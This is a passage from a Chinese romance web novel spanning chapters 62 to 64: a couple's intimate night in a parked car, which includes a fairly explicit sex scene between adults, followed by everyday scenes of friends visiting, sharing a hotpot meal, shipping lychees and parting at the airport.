可是她还来不及拒绝,就听江问舟贴着她的耳边,喃喃地说道:“西西,我想你了。” 声音很轻,却带着足以蛊惑得齐眉晕头转向的央求和委屈,她心里瞬间便生出愧疚来。 因为客人要来,家里住不太下,所以把他赶出去,怎么想都是她理亏。 于是齐眉就这样半推半就,又稀里糊涂的,被江问舟带到了车上。 “嘭——” “咔。” 车门关上的同时,锁也落了下去,齐眉有些不安,伸手推了一下车门。 根本不可能推开,她咬咬唇,没来由的有些心慌,下意识看了眼窗外。 察觉她的动作,江问舟失笑,拉着她的胳膊把人拉进怀里,低头亲亲她的脸,调侃道:“别怕,我不是人贩子,可舍不得把你卖了。” 齐眉有些不好意思,直起脖子用头顶去撞他的下巴,以示抗议。 江问舟被她逗笑,捏着她的下巴就低头亲过去,齐眉瞬间有些紧张,整个人都紧绷起来。 察觉她隐约的抗拒,江问舟有些哭笑不得:“你到底在怕什么?” “……我、我没有。”齐眉讪讪,不好意思告诉他自己真实的想法,甩开他捏着自己下巴的手,把脸埋进他的怀里。 江问舟只好先就这样抱着她,拍拍她的背,视线落在她的水洗蓝色吊带裙上。 裙子的领口是平的,剪裁很好,服帖地贴合着她的皮肤,一点都不存在走光的问题。 但大概七八公分宽的黑色肩带却是系带式的,被系成蝴蝶结的样子,江问舟的指尖拨了两下蝴蝶结的耳朵,艰难忍住想要将它抽开的冲动。 转移话题似的问道:“今天去爬电视塔好不好玩?” “好玩。”要是单纯说说话,聊聊天,齐眉是很乐意的,“我们还去了天台上面的户外观景平台,视野特别好,好高啊,感觉手一抬就能摸到天,风也好大,但是好刺激,下次我们一起去吧?” 齐眉趴在他怀里,伸手圈住他的腰,习惯性的像躺着时那样,脚尖勾住他的小腿,俩人之间就变成了极亲昵的姿势。 这个姿势特别适合讲悄悄话,江问舟低头凑近她的脸,应了声好。 “那家自助餐厅也不错,东西都很新鲜,下次我们也一起去,带上干爸干……” 妈字还没来得及说,齐眉就见自己的鞋子被这人脱了,不由得一愣:“……你干什么?” “走了一条路,不累?”江问舟拍拍她的小腿肚,声音温和平静,“给你按按,要不要?” 齐眉眨眨眼:“……要!” 可是她又有些不好意思,“湿、湿巾……先擦擦……” 江问舟失笑,一面说着我又不会嫌弃你,一面还是按照她的要求,拿湿巾给她擦擦脚。 齐眉这下舒服了,往后挪了挪,靠在车门边上,把腿枕在江问舟的腿上,怀里抱着再熟悉不过的旧抱枕,眉眼舒展开来。 连声音都变得轻快许多:“SUV的空间是比普通家轿的要宽敞不少呢。” “适合家庭使用。”江问舟随口应道,用力捏了捏她的小腿,听到她嘶的一声痛呼,立刻按住她想要把腿抽走的动作,温声道,“放松点,运动过后不及时放松,明天有你受的,忘了以前体测跑完八百米第二天走不动路的感觉了?” 那可是相当酸爽,齐眉咬住嘴唇忍着,没说她觉得其实不全是走路太多才这样。 “昨天去大学城玩得还行?”江问舟继续跟她聊天。 齐眉的注意力稍稍转移,嗯了声:“感觉环境还不错,就是要进城不太方便。” “那边离军校旧址近一点,没有顺便去玩么?” “没有诶,没想到。”齐眉看着他揉捏自己小腿的动作,眼神一柔,连声音都变软下来,“下次我们一起去啊?我记得那边体育馆经常有演唱会的,下次我们也去听,好不好?” “当然好啊。”江问舟笑着答应。 这是她以前最喜欢做的事之一,跟她说下次这样,下次那样,不管最后能不能实现,总归是听起来很好听。 显得他们还有好多好多的以后,还有大把大把的时间可以一起做许多事。 江问舟从没告诉过齐眉,他很喜欢这种感觉。 齐眉说到这里,干脆打开了购票网站,发现感兴趣的演唱会没有,倒是觉得有几部电影有些意思。 于是坐直起来,举着手机往江问舟跟前凑,“我们改天去看电影吧?都好久没一起去过电影院了。” 一听这话,江问舟立马翻旧账揶揄她:“为什么好久没一起看过电影了,某人心里就没一点数?” 齐眉一听他要翻旧账,立刻哎呀哎呀地往他身上蹭,想骂人又底气不足,最后变成了撒娇似的嗔怪:“你这人怎么这样,不是说好了过去的事就过去了吗!” 江问舟被她蹭得想笑,捏着她后脖颈就亲了上去,张口轻轻含住她的嘴唇,略有些得意地道:“这么好用的杀手锏,你让我怎么舍得不用。” 这事最好拿捏她了,只要他一提,她就会……像现在这样。 江问舟掐着她的腰,将她按坐在腿上,轻巧地撬开她的牙关,舌尖溜了进去,先是轻柔调皮地和她嬉戏,等察觉她已经全然放松,这才慢慢加入吸吮的动作。 盛夏难得的和风细雨不仅没有停歇,反而渐渐变成狂风暴雨,齐眉觉得空气越来越沉闷,气压下降得有点明显了,她有些喘不过气来。 胸腔里的氧气越来越稀薄,她终于难耐地挣扎起来。 她的躁动惊醒了沉醉在和爱人的热吻中的男人,江问舟依依不舍地松开她的唇,舌头撤离前还用舌尖钩描了一下她的下唇。 新鲜空气争先恐后地涌入呼吸道,齐眉大口大口地呼吸着,整个人都难以自抑地颤抖起来,浑身绵软得提不起一点劲,只能靠在江问舟的胸前,像是被抽了骨头似的。 江问舟亲了亲她的锁骨,忍住了啮咬的冲动,不愿叫她一会儿回去的时候没脸见人。 但有些念头却怎么都按不下去,他忍了又忍,发现还是忍不下去,便索性问道:“西西,可以吗,在这里?” 第63章 第六十三章(二合一)一种难以言表的…… SUV宽敞的后座不知什么时候开始变得拥挤。 空气也变得甜甜腻腻,像刚出锅的拔丝地瓜上粘连的糖丝,缠绕得人喘不过气来。 也热,像是大夏天待在蒸笼似的,先前吹过的冷气就像是一场幻觉,齐眉觉得自己就像是在桑拿房里一样,浑身都是湿黏的汗。 恍惚间她又觉得自己像是一尾被网住的鱼,被纤细的网丝紧紧缠绕禁锢在网里,不管往哪个方向,都是无路可逃。 很偶然的,她的脑海中闪过一抹清明,她隐隐约约想起来,这里是江问舟的车,而不是大海,那……他们在做什么? 齐眉有些惶惑,不知道怎么就变成了这样,他们不是在聊天吗,还说要去看电影,怎么突然就…… 她跪坐在江问舟腿上,衣服谈不上很乱,但也绝对不整齐,肩膀上的系带已经被解开,黑色的丝带垂下搭在她的胸前,正轻轻摇晃着。 摇摇曳曳的丝带,仿佛有种蛊惑人心的色彩。 江问舟一把抓住这丝带,卷了两下,缠绕在手掌上,然后按着她的后脑勺,半是引导半是强迫地让齐眉主动向他吻过去。 齐眉难得有些清醒的神智瞬间又变得迷糊起来,这次她觉得自己沉进了最温暖的温泉里。 就是那种冬天时能看到外面景色的温泉,外面寒风凛冽,而自己身处温柔暖乡,那种幸福的感觉让人忍不住慰叹出声。 于是她所有的动作都开始遵循内心深处最隐匿的渴求,甚至在江问舟的唇舌离开时,还忍不住追过去。 讷讷地喊他:“哥……” 她的眼尾泛着红,带着有些懵懂的渴求,告诉江问舟,一切都来自她的本能,她的灵魂深处需要他的抚慰。 江问舟轻笑一声,拍拍她的腰,声音里藏着笃定:“急什么,先起来。” 齐眉愣愣地被他抱了起来,不到一分钟,她就全清醒了。 看着江问舟不知打哪儿变出来的小袋子,声音惊恐得像是在尖叫:“你、你……你哪儿来的这?为什么车里会有这种东西?给谁用的?你说啊!” 江问舟哭笑不得,一面将她重新拉回来,一面无奈地解释:“除了你还能有谁?下午刚拿的快递,家里没有了,你没发现?” 他顿了顿,又说:“你不给我买,我有什么办法。” 声音好似还有点委屈似的。 齐眉觉得很离谱,怎么说着说着还成她的错了? 好大一口锅,砸得她晕头转向的,听见江问舟叫她:“西西,坐下来。” 接着她的腰又被拍了一下。 她便下意识的将腰往下一塌,所有的疑惑和抱怨瞬间变成另一种声调,她吓得连忙低头一口咬在他的肩膀上。 衬衫的布料立刻吸收了她剩余的半个音节。 声音很快就变成了浅浅的呜咽。 江问舟扶着她一会儿紧绷一会儿柔软的后背,眼角的视线落在她横过自己耳际撑着座椅靠背的胳膊上,看见它正轻轻地颤抖。 像在风雨中仍然顽强支撑的树枝,枝头有鲜花傲然绽放。 多么漂亮,他忍不住发出一声喟叹,侧头亲了亲齐眉的手臂内侧。 齐眉本来就忍得很辛苦,这里环境太特殊了,虽然贴着防窥膜,明知道外面不可能看得到里面是什么风景,但她还是非常紧张。 那种紧张混合着羞耻,她觉得自己像是在众目睽睽之下演三级片。 怎么就那么忍不住,她有些恼江问舟。 甚至怀疑他连几天都忍不住的话,分开的这两三年他能忍得住?不会真的偷吃了吧? 可念头一起,她又有些赧然,江问舟是什么人她还不知道么,怎么能这么想,要是让他知道了还不定怎么闹她呢。 随即她又开始恼自己,怎么就这么把持不住,一点都不矜持,他一问,她就答应了……别管什么状态下答应的,也别管答应的时候清不清醒,反正她是答应了。 这两种情绪在她脑海里拉扯,叫她觉得羞耻,躯体也变得越来越紧绷,甚至有些轻微的痉挛。 男人带着薄茧的指腹划过她的小腿,一种颤栗的感觉直冲她脑海深处,掀起灭顶的巨浪,将她直接冲到悬崖边。 她呼吸里的呜咽声更重了,江问舟听见,忍不住又笑了声。 那笑声沉在胸腔里,齐眉觉得自己贴在他胸前的手像是被电了一下,她忍不住一哆嗦,整个人往下滑。 江问舟将她抱紧,这个姿势让他们贴得更紧,他觉得眼前一阵白光闪过,每一寸肌肤和每一滴血液都在叫嚣。 洪峰终于冲垮堤坝,他听见耳边响起带着哭腔的尖叫: “……江问舟你讨厌!你这人怎么这样啊!” 伴随着欣快的是羞耻,身体有多舒服,齐眉的心里就有多羞耻,这种矛盾拉扯的心情,最终悉数变成眼泪,汹涌地涌出眼眶。 “丢死人了……呜——” 哭得肩膀一耸一耸的,江问舟连衣服都来不及整理,赶紧抱着她哄,一会儿是道歉,一会儿是保证,在“我错了”和“下不为例”之间来回转车轱辘。 还安慰她:“没事的,外面看不见,这里是访客停车场,也没有人来,只有我们……别怕别怕,西西别怕……” 一边安慰一边亲亲她的鼻尖,哄着她起来,拿湿巾帮她收拾干净残局。 齐眉靠在车门边上,难堪地别过脸去,根本不敢看他的动作,浑身都是僵硬的,任凭他摆弄自己。 什么安慰都没有用,因为她无法告诉江问舟,她真的有舒服到。 她怎么能舒服呢,在这种地方…… 所以当她听到江问舟又一次说下不为例时,她的嘴唇动了动,想说什么,又实在不好意思,于是只好咬着嘴唇把脸贴在他肩膀上,以此缓解着尴尬。 江问舟提她整理好衣服,试图将肩带打成原来的蝴蝶结,却发现无论如何都没办法系成一模一样的,半晌后有些讪讪的放弃。 “就这样吧,也挺好看的,再说也没人会特地凑过来比较这个和上一个有没有什么区别。” 齐眉努努嘴,想说什么,又在他带着笑意的目光里咽了回去。 那目光里所有翻滚的情潮欲浪都已经平歇,只剩下温柔缱绻的凝望,柔柔的,让齐眉想起家里柔软的大床。 她忍不住真的打出一个哈欠来。 看她打完哈欠后不停地眨眼,眼睫毛上有些湿润,不知道是之前的泪未干,还是刚挤出来的,江问舟有些好笑,伸手帮她擦了擦眼睛,问道:“困了?” 齐眉没应这个问题,低头整理衣领,半晌才嘟囔着说道:“下次不许在这儿……” 听起来似乎有些软绵绵的,赧然和羞涩多过不高兴。 江问舟应了声好,拉着她的胳膊把她带进怀里,低头亲亲她的鼻尖,低声道:“我背你回去吧?” 真是要命了,她送他下楼,他又送她上楼,一会儿她是不是还得再送他下来? 这下瞎子都看得出来他们肯定不对劲了! 齐眉气得狠狠捶了一下他的大腿,声音也跟着大了起来:“再有下次,我要你好看!” 顿了顿,没等江问舟答应,她又接着道:“你去洗车!” “不然我下次再也不坐你的车了。”说到这里,她的声音又委屈起来,抿着的嘴唇扁了一下,下一秒又咬住。 江问舟眨眨眼,问她:“家里缺不缺什么?果汁,牛奶,零食,或者……我们买点宵夜上去?” 齐眉嘟着嘴拿白眼瞪他,越看越想挠他,哼哼半天,也没说好还是不好。 于是江问舟只好自己做决定:“我叫外卖送点果汁过来,正好附近就有便利店。” 等他打开外卖软件了,齐眉才说:“要两瓶鲜奶,大瓶的,家里的还有一瓶,明天就用没了。” 人多嘛,做个咖啡也要一次用掉一大瓶了。 江问舟下好单,手机往旁边一放,又将她拉了过来,搂着她,一边捏着她的手指,一边跟她闲聊。 要不是齐眉抽空看了眼手机,还以为这会儿才十一点,而不是一点。 深更半夜的,俩人躲在车里聊天?真是说出去都不会有人信,何况他们还真不是纯聊天。 江问舟不理会这个,聊了一会儿对这个姿势不满意,硬是将齐眉整个人抱了过来,让她坐在自己腿上,将她整个人裹在怀里,低头嗅着她身上的味道。 这才觉得舒服了,声音愈发懒洋洋:“我们哪天有时间,叫上爸妈,租辆房车,拉着金金和年年,一起去露营怎么样? “……只有你没时间。”齐眉无语了一下,“等你有时间再说吧,我准备最近就休年假,再迟点就很多人休了。” 大家都想节日的时候休,比如国庆五一,那样可以连着休好多天,或者是天气不那么热的时候,方便出游,只有大夏天的时候好请。 “暑假不也是出游高峰?正好孩子放假,家长不休年假带孩子出去旅游么?”江问舟疑惑地问道。 “是啊,但也有很多人不爱这个时候出门的呀。”齐眉一边解释,一边整理了一下他的衣领,然后勾着他的脖子靠在他怀里,打了个哈欠。 然后瓮声瓮气地问他:“我去买荔枝的话,要不要帮你买?给郭教授……哈——” 话没说完,又打了个哈欠,有些难耐地吐槽道:“外卖怎么还没来!我困了!” 江问舟笑着应好,接着说:“困就睡,一会儿我送你上去。” 他倒是想直接带她回他那边,但远了点,还不如等外卖来了再送她上去呢。 齐眉意识已经有些迷迷糊糊的了,幸好在她真的要睡着时,江问舟的手机响了。 拿到外卖小哥送来的深夜外卖,江问舟往齐眉跟前膝盖一弯,扭头冲着她问:“上来?” 齐眉立刻往他背上一趴,气势汹汹地喊上一声:“驾!” 江问舟:“……”被人投诉深夜扰民你就老实了:) 回到楼上,刚开门,就听蒋乐亭问:“阿眉你怎么去这么久,我还以为你……” “不回来了呢”这后半句在看清门口的人时被替换:“诶?怎么又一起回来了?” 不是说江问舟要回去的么? 齐眉把脸埋在江问舟的背上不敢吭声,甚至觉得有点没脸见人。 江问舟倒是淡定,闻言回答道:“发现家里没饮料了,去了趟便利店。” 边说边拍拍齐眉的腿,扭头温声道:“下来了,剩下这点路自己走,我就不进去了。” 镇定自若得好像他们真的是去了一趟便利店,而不是让外卖送来的。 齐眉不敢搭腔,下地以后嗯嗯的胡乱应了两声,接过他手里的袋子就埋头往厨房走。 也不敢抬头看其他人,生怕姚敏她们看出自己的不对劲,肩膀上,脖颈上……虽然知道江问舟应该是没留下什么痕迹,可万一呢,万一是车里光线太暗所以没看到呢? 江问舟看一眼她的背影,又揉揉跑过来的年年,招呼金金:“金金你回不回去?” 猫还没动静呢,齐眉就探头嚷嚷了:“它不回去!你答应的,它今天不回去!” “……好好好,它不回去。”江问舟哭笑不得,又提醒她睡前记得吃膏方,这才真的走了。 走到电梯门口,抬手一看手表,还差五分钟到半夜两点。 江问舟忽然想,好像也是没什么非得回去的必要,就睡个觉,天亮又出门,干嘛不在酒店住一宿算了? 小区附近就有好几家连锁酒店。 齐眉洗漱完毕,时间已经快两点半,她跟蒋乐亭聊了两句,就赶紧把灯关了。 “睡了睡了,明天还出门呢。”她一面说着要睡了,一面却又打开手机。 蒋乐亭无奈地笑笑,拍拍她:“快点睡啦,熬夜会变老哦。” “马上,马上!”齐眉连忙答应。 却还是坚持点开了江问舟不久前发来的信息,因为是图片,她想看看是什么。 结果点开就看见是一间灯*光有些昏暗房间的照片,看样子似乎是酒店的房间,他还没有把灯全都开了。 齐眉:【?这是什么意思?】 江问舟倒是回复得很快:【向你报备一下,今晚我住的是酒店,就在家门口那家皇冠假日酒店,大床房,但自己住。】 齐眉一愣,他竟然没回去? 齐眉:【车爆胎了,所以才没回去?】 江问舟简直无语:【能不能想我点好?你还记得明天星期几吗?】 这么一说齐眉就反应过来了,顿时有些讪讪。 但不妨碍她嘴硬:【嗐,你看这事闹的,我还以为你是在邀请我去一起住呢[嘻嘻]】 江问舟就说下次一定,就是希望她别不敢来。 齐眉看到信息的时候已经很困了,这会儿更是困意难忍,她迷迷糊糊地觉得自己好像已经回了信息,便将手机往枕头底下一塞,睡过去了。 而江问舟等了一会儿没见她再回信息,便知道她大概是睡着了,笑着叹口气,也放下手机。 灯光一灭,世界就变得安静下来。 ————— 齐眉生日过后,蒋乐亭她们又在容城玩了几天。 确实没去什么景点,时间基本都花在吃吃喝喝还有买衣服上了,齐眉甚至还带她们去逛了纺织城。 本来说好是去逛逛,长长见识开开眼,结果出来的时候人人手里几米布,说要找裁缝做旗袍做裙子。 就连齐眉也扯了两块,一块藏蓝色一块豆沙绿,都是同款的花纹,软薄透气摸起来很舒服,垂顺度也很好,她打算做两条能穿出门去遛狗的阔腿裤。 回来还特别兴奋地跟江问舟说:“下次和干妈一起去,好多漂亮的布,什么材质都有,去买来做新衣服应该不错。” 江问舟笑吟吟地听着,仿佛看到了以前那个对一切漂亮事物都津津乐道的、喜欢打扮得漂漂亮亮的齐眉又回来了。 一种难以言表的喜悦在心里陡然滋生蔓延。 他当然喜欢现在的齐眉,但也喜欢从前的她,能从现在的她身上看到一点过往的影子,就像是突然在旧衣服的口袋里找到不知何时放进去的一百块,那是意外之喜。 应该没人不喜欢意外之喜吧,他想。 “蒋乐亭她们什么时候回去?”江问舟问道。 “后天呢,我明天让人送荔枝到店里,你来拿么,还是我给你送过去?”齐眉问道,伸手拈走他衣服上沾着的猫毛。 江问舟想了想,道:“就店里吧,我下班顺路过去拿。” 齐眉点点头应好,往前走了一步,一把抱住他,拍拍的背,低声道:“这些天你辛苦啦,再忍忍,马上就可以回来住了。” 自从那天住过酒店之后,江问舟发现住酒店还是方便,反正齐眉她们也不让金金跟他回去。 于是他在齐眉家门口和单位附近的酒店住了几晚,中间有天孙茂芸给他打视频电话,发现他住酒店,还惊讶地问他是不是出差去了。 被他以下班太晚,明天早上还有科室讲课要早起,所以懒得回青年路那边那么远为由糊弄了过去。 但江眀琮凑过来看了一眼,就问他:“你一个人住,还住大床房,这么奢侈?” 江问舟一听就笑了起来。 父子俩都心知肚明,这话的重点不是奢不奢侈,而是大床房。 大床房可是能住两个人的,江眀琮怀疑屋里还有另一个人。 江问舟索性借着去喝水的功夫,有意无意地让他看到屋里的全貌,然后说:“标间和大床房不差几个钱,自己一个人睡,要两张床做什么。” 江眀琮还没来得及说什么,就听妻子不满道:“什么奢侈不奢侈,这年头住一晚酒店能有多贵,他就是住一个月,也花不到几个钱!” 她骂骂咧咧,说孩子上班都那么辛苦了,稍微享受一点难道不是应该的么,云云。 江眀琮被骂了个臭头,忍不住狠狠瞪一眼手机对面。 你等着,迟早这顿骂会轮到你! 江问舟听着母亲的数落,既觉得哭笑不得,心里的愧疚又蹭蹭猛涨。 “住酒店我可不委屈。”江问舟反手回抱着齐眉,拍拍她的背,叹口气,“我担心的是爸妈那边。” 他将那天晚上的事告诉她,苦笑道:“你说到时候……我们怎么跟妈讲?” 齐眉一听,顿时讷讷,半晌才揪着他的衣领嗫嚅道:“啊、不是你说……你说会搞定的吗,还要问我啊?那、那……” “那什么?不准那了。”江问舟赶紧打断她的话,没好气道,“真怕你这张冰冷的嘴说出些什么不中听的话!” 齐眉嘴角一抽,有些讪讪,努着嘴既不知所措,又满脸忿忿。 有没有搞错,说好了你会搞定干爸干妈的,怎么还要我出力?你这是欺诈吧?! 她直接就把心思写到了脸上,江问舟看得一阵乐不可支,捏着她的鼻子无奈道:“放心,说了不叫你为难,但是……” 说到这里他故意顿了顿,齐眉立刻紧张兮兮地看向他:“但是什么?” “但是我要是挨了揍,回来你得给我补偿点什么吧?”江问舟似笑非笑地看着她道。 齐眉眨眨眼,心里一面给自己打气,我哥不可能让我吃亏,一面小声反问:“怎么补偿?” “还没想好,到时候再说。”江问舟爽快道,“反正肯定是你能做到的事,放心,自己人,我不会让你为难的。” 齐眉的脸一下就皱了起来。 完啦,还要想的,这不得所图甚大啊!更不放心了! “你要考虑这么久啊……”齐眉非常挣扎,看着江问舟一阵欲言又止。 她既想这个靴子快点落地,又害怕这一天真的到来。 看着她目光闪烁挣扎的模样,江问舟一面忍俊不禁,一面又叹气不已,捏捏她的脸无奈道:“还是顺其自然吧。” 说完拍拍她的背,温声道:“快回去洗漱早点睡,别忘了吃药。” 膏方的味道其实算不上很好,反正没什么甜味,但比起苦不拉几的中药汤还是好多了,所以齐眉才能一直坚持下来。 还主动说:“就剩两天的了,你帮我约个复诊的号。” 江问舟拍拍她肩膀,做欣慰状:“看来你是真的长大了,不错。” 齐眉:“……”滚滚滚! 转天齐眉正休息,中午和蒋乐亭她们去吃牛肉火锅,她特地带路,去了大老远的一家店。 那家店是一处地下停车场改过来的,特别大,刚进去齐眉就听取哇声一片:“这么大,牛肉火锅城啊?” “这得多少人才能坐满啊?” “人好多啊,大家中午都不上班吗?一天得杀多少头牛才够啊?” “哇靠!还有送餐机器人,诶呀,它好可爱捏!” 齐眉:“……” 她无语地领着这群叽叽喳喳的小鸭子从人群中穿过,招手让过路的服务员阿姨开了一张桌,等对方拿来烫碗的热水和餐具,才加点了一扎西瓜汁。 “麻烦多放点冰块,谢谢。” “多冰是吧,好哦。”阿姨边点头边写备注,写完了拿着笔往远处档口一指,“要吃什么去那边自取。” 齐眉道了声谢,转头无语地对冲着送餐机器人一脸姨母笑的几个人道:“你们不要这样一副没见过世面的样子好不好?好歹是从申城大城市来的!” 送餐机器人不是随处可见的吗? “不妨碍我觉得它可爱啊。”姚敏还伸手摸了一把人家光溜溜的圆脑袋,“我们医院还有发药机器人呢,也很可爱啊,它到了电梯那里要是没开门,它还会跟人家说,麻烦你帮帮我吧,啊~可爱捏~” 齐眉一噎:“……大夹子不准成精!” 大家说笑着往档口走去,走近了看到档口里的师傅正在手不停地切着牛的各个部位,还有好几位师傅在邦邦打着牛肉做牛肉丸。 “真手打牛肉丸啊?”姚敏啧了声,凑过去认真欣赏。 齐眉仔细观察一番档口,果然看到了预定电话,下方还写着可快递。 她默默拍了一张照片,然后拉过一辆小推车,招呼大家:“想吃什么自己拿,不要客气。” 肉这种东西,只要新鲜,多数都不会难吃,牛肉煮到最后,一锅清水已然变成牛丸汤,齐眉往里面扔了一把生菜,不到一分钟,一锅新鲜肉丸青菜汤就可以喝了。 蒋乐亭喝了口汤,舒服地叹口气:“申城也不是没有这么好吃的牛肉火锅,就是不好找,平时哪有这么些空闲时间到处找吃喝玩乐的项目啊。” “有得有失。”齐眉笑眯眯地道,“以后我要是有点什么,还得靠你们帮忙呢,所以,请你们都力争上游,争取成为专家教授,好吗?” “离谱,你家里就有一位好吗!”大家对她一顿吐槽,等喝完汤又说,“这儿的牛肉丸什么的,是不是能邮寄,一会儿去看看呗?” 齐眉眨眨眼,趁机提出让她们帮忙给她老师莫教授也带一点,蒋乐亭一边应好,一边看着她眨眨眼。 等吃饭结过账,大家去下了订单,往外走的时候,蒋乐亭才状似无意地笑着说了句:“等我们回去研究研究,找找申城还有哪些你没吃过又好吃的小店,等你哪天回去,就到我们请你了哈。” 这话多少有点试探的意思。 申城对于齐眉来说,已经不仅仅是见证八年青春的地方,最后留下的糟糕体验和回忆,足以让她有理由此后不再踏足。 齐眉笑笑,眼睛弯起来,神色一派轻松:“好啊,到时候我要住你家,让老郑走!” 大家嘻嘻哈哈地笑起来,说她这绝对是报复,因为她们来了,江问舟就得走,这人搁这儿给她哥报仇呢。 蒋乐亭眨眨有些湿润的眼睛,爽快点头答应:“好,到时候阿敏和若若也来,让老郑走,要是有孩子了,就让他带着孩子一起走!” 齐眉连连点头应好,笑嘻嘻地挽住蒋乐亭的胳膊,扭头问姚敏:“你摆酒在哪儿摆啊,日子定好了吗?” “国庆节呗,回老宴的老家摆,他老家十月份凉快。”姚敏应道。 她未婚夫是东北人,去年春天才认识的,适龄男女,都是抱着结婚成家的目的交往的,相处大半年后觉得对方各方面都不错,是适合过日子的,结婚便提上了日程。 一个宿舍四个人,四种不同的婚恋状态,齐眉有时候想想都觉得很有意思。 从火锅店出来,大家直奔No.12Diner&Lounge,齐眉进门问负责采购的浪哥:“今天老刘来过了吗?” 问的是他们经常合作的水果供应商之一刘老板。 刘老板的荔枝是在产区自己包了果园种的,主要是市面上卖得好的几大品种,早熟晚熟都有,可以让店里连着几个月都有荔枝风味的产品上架,所以齐眉和任清葭很乐意跟他合作。 因着陆近成的关系,对方也和她们保持着良好的关系,何况背后还有一个江眀琮。 ——这层关系都不用刻意往外说,做生意的人脑子最活泛,自会打听清楚。 “刚来了。”浪哥从楼上下来,“荔枝都送过来了,人家刘老板贴心,还特地分成二十斤一箱的小包装给你打包好的。” 浪哥边说边给她看刘老板之前发过来的照片,泡沫箱里的荔枝都是连枝带叶一起打包的,为的就是尽量让它保持新鲜,拖延变色变味的时间。 “就这样吧。”齐眉点点头,松口气,“反正明天早上就要上飞机了。” “回去以后拆开尽快吃就行啦。”浪哥笑着应道,冲蒋乐亭她们点点头打了声招呼。 齐眉带她们上楼,每人选一箱,“做好记号呗,反正也看不到里面,盲选得了。” 说着她先将其中一箱搬到一旁,这是给江问舟拿去给郭教授的。 任清葭提溜着一串龙眼在旁边吃得欢,边吃边说:“这么多,不知道的还以为你是搞批发呢。” “可不就是搞批发么,荔枝尾的最后疯狂,接下来是龙眼的主场了,还有西瓜葡萄百香果火龙果。”齐眉从冰箱里拿了瓶苏打水,往一旁椅子上一坐,“是不是又该上新了?” “是啊,又该上新了。”任清葭有些无奈地点点头,“咱们这行就是这样,不是在上新,就是准备上新。” 顾客口味变化很快,如果没有新鲜的东西吊住他们,他们很快觉得腻味,不来了,反正这年头新鲜玩意太多了。 蒋乐亭她们听了一会儿,忍不住感慨做生意真是不容易,不见得能比她们做课题简单。 “各行各业都有各自的难处啦。”任清葭哈哈两声,“你们是为除人类病痛,我们是混口饭吃,各有各的难处。” 江问舟来的时候时晚上十一点,齐眉问他吃没吃饭,他摇摇头,苦笑着说起今天手术室的惊魂几小时,蒋乐亭她们再多问几句,就变成了病例讨论。 等齐眉收工,江问舟送她到小区门口,就抱了抱她说:“我就不上去了,明天见。” “你快回去休息。”齐眉揉揉他微微皱起的眉心,赶紧嘱咐他,“荔枝没开箱呢,你明天开的时候注意看看有没有坏的。” 江问舟点头应好,亲亲她的鼻尖,呼出口气。 第64章 第六十四章(二合一)拿捏别人他是不…… 早上八点,T2航站楼三楼,行李自助托运区。 “齐医生这是要出去吗,托运的都是什么呀?”辅助办理业务的工作人员看见齐眉,笑嘻嘻地同她打招呼。 “送朋友回申城。”齐眉摇摇头,笑着解释,“托运几箱荔枝,再不吃今年就过季啦。” 说完她从自己提着的袋子里拿出两串荔枝递给对方,“你也尝尝。” 对方接过同她道了声谢,看蒋乐亭她们东西实在多,便过去搭把手。 等办好行李托运,姚敏搂着齐眉肩膀道:“到时候我结婚,给你发请帖,你可一定要来,当伴娘就不喊你了,要喝酒的,麻烦。” 齐眉笑着应好,说:“到时候给你包一个大红包。” “那我可就等着了。”姚敏笑呵呵地抱她一下。 徐丹若和蒋乐亭则是一人一边戳戳她的脸,对她说:“以后再发生什么事,可不准像上次那样一声不吭就跑路了,真是的,多大了还玩这一套,再有下次别怪我们追杀你。” 齐眉不由得赧然,抿着唇点点头,小小声应道:“……知道啦。” 几人凑在一起聊了一会儿,彼此说话语速都很快,因为知道留给她们的时间不多了。 一会儿徐丹若说等下次容城有演唱会她要是抢到票,肯定会来,到时候一起吃饭。 一会儿蒋乐亭说要是她和江问舟有好消息一定要第一时间通知她们。 齐眉就赶紧让她如果论文有要江问舟帮忙看的,千万别客气,话音刚落,姚敏便接着邀请她到时候回申城一起参加蒋乐亭的博士毕业典礼。 她们说了很多以后,约好要一起做的事一二三四五六,谁也不知道等真的事到临头大家能不能碰头,但没关系,先约吧。 都知道人世间失约才是常态,却并不影响我们互相许下约定时的真心和期待。 等看着时间差不多了,蒋乐亭她们真的得走了,齐眉才冲她们摆摆手:“赶紧去安检吧,不然要来不及了。” “回去了咱们再联系。”大家冲她摆摆手,一步三回头地很快走远了。 齐眉回到自己的工作点位,陈羽丹已经来了,上一班的同事和她开玩笑:“大家都在等你哦,来迟了是不是该罚你三杯?” “酒没有,荔枝代替行不行?”齐眉笑着回应道,将手里的袋子递过去。 “也行也行。”陈羽丹立刻凑热闹,接过去一看,“哇,这荔枝好新鲜,颜色好漂亮。” “昨天刚买的,封在箱子里面今天才打开。”齐眉一面应,一面往更衣室走去。 没一会儿她就换了工衣出来,开始做今天的准备工作。 陈羽丹剥了一颗荔枝,看她在检查仪器的电量,忙道:“药品我已经检查过了,没什么缺的。” 刚做好今天的准备工作,齐眉都没来得及坐下,就过来一位因为痛经要买止痛药的旅客,一天的工作就这么开始了。 同一时间,江问舟正准备去门诊,都走到门口了,又忽然想起另一件事,又调头往回走。 跟在他身后的两个学生也跟着往回走。 碰到要去查房的蔡朝和陈妍,被他们问:“老大你怎么又回来了?” “主任还在不在?”江问舟脚步放缓问了句。 “还在办公室没走呢。”陈妍应道,看他急匆匆地进了更衣室,不由得一愣。 等一转眼江问舟抱着个泡沫箱出来,就更觉得奇怪了。 “诶你说,老大拿的那是什么呀?” “不知道,一会儿回来该知道的就能知道了,赶紧走。”蔡朝说着,伸手按上她的头顶,把她脑袋往回转。 江问舟直接将整箱荔枝抱去了主任办公室,走的时候路过医生办公室,在门口同郭主任说了一声有东西放他办公室,又匆匆走了。 齐眉昨晚还提醒他,拆箱的时候记得看看有没有坏的,可他早上匆忙,实在没工夫细看,另一方面,又想着老师也不至于因为几个坏了的荔枝就跟他生气,所以无所谓。 等郭主任问完秦一鸣的某位病人的扣费问题回到办公室,发现桌上一个快有他手臂长的泡沫箱,一愣,怎么江问舟说的东西…… 居然这么大一件? 实在疑惑,他找来剪刀将快递拆了,箱盖刚揭开,一股新鲜树枝的味道飘了出来,拨开枝叶,便见一颗颗红色的果子连枝躺在箱子里。 枝叶仿佛成了柔软的床,一颗颗娇贵的荔枝躺在那儿,颜色看着喜人,叫人想起那句著名的“一骑红尘妃子笑”来。 不过这箱应该不是妃子笑。 郭主任吃荔枝不多,也是今年到了容城工作,离产地近了,才知道原来荔枝有这么多品种,而且吃惯的人可以一眼就认出来是哪个品种。 